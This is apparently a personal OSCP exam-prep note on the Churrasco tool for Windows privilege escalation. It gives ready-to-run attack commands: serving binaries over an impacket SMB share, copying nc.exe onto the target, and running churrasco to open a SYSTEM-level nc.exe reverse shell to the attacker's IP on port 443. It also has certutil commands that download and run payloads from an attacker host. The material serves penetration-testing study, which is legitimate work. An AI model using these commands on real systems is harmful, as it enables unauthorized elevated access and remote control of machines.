Pearson's OSCP Notebook

Churrasco

Properties1
tagschurrasco, windows, privilege-escalation, smbserver, token-impersonation, reverse-shell, oscp

2 min read

Churrasco — Windows Privilege Escalation

Churrasco (Re4son/Churrasco) — compiled Windows privesc binary. Run with -d to execute a command with elevated privileges (typically SYSTEM), then spawn a shell.

Ctrl+F: churrasco · churrasco.exe · -d · smbserver · copy \\

When: WinPEAS or manual enum flags Churrasco / named-pipe privesc; Potato tools fail or target is older Windows. Often paired with SMB copy when HTTP/certutil is blocked.

Alternatives: Potato Attacks (SeImpersonate) · PrintSpoofer

Attacker — download + SMB share

# Clone / build from GitHub, or copy release binary into a folder with nc.exe
# https://github.com/Re4son/Churrasco/
 
cd /path/to/tools    # folder containing churrasco.exe + nc.exe
impacket-smbserver share . -smb2support

See File Transfer > 2) impacket-smbserver · Impacket Enumeration > 6) smbserver.py

Churrasco is a Windows .exe — download from GitHub; no Kali install. Tool setup → Installation - Kali Setup > 📌 Privilege escalation

Target — copy binaries + run

copy \\10.10.14.47\share\nc.exe .
        1 file(s) copied.
 
copy \\10.10.14.47\share\churrasco.exe c.exe
        1 file(s) copied.
 
.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.47 443"

Replace 10.10.14.47 with your attacker IP and adjust paths (C:\wmpub\) to match where you copied files.

-d — command to run elevated (here: nc.exe reverse shell to attacker 443).

Listener (attacker)

nc -lvnp 443

Or use your usual Netcat / Shells handler.

Syntax

churrasco.exe -d "command"
FlagMeaning
-dCommand to execute with elevated privileges

Transfer alternatives

If SMB copy \\ATTACKER\share\ fails:

certutil -urlcache -split -f http://ATTACKER:8080/churrasco.exe C:\Temp\c.exe
certutil -urlcache -split -f http://ATTACKER:8080/nc.exe C:\Temp\nc.exe
.\c.exe -d "C:\Temp\nc.exe -e cmd.exe ATTACKER 443"

See File Transfer · certutil

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks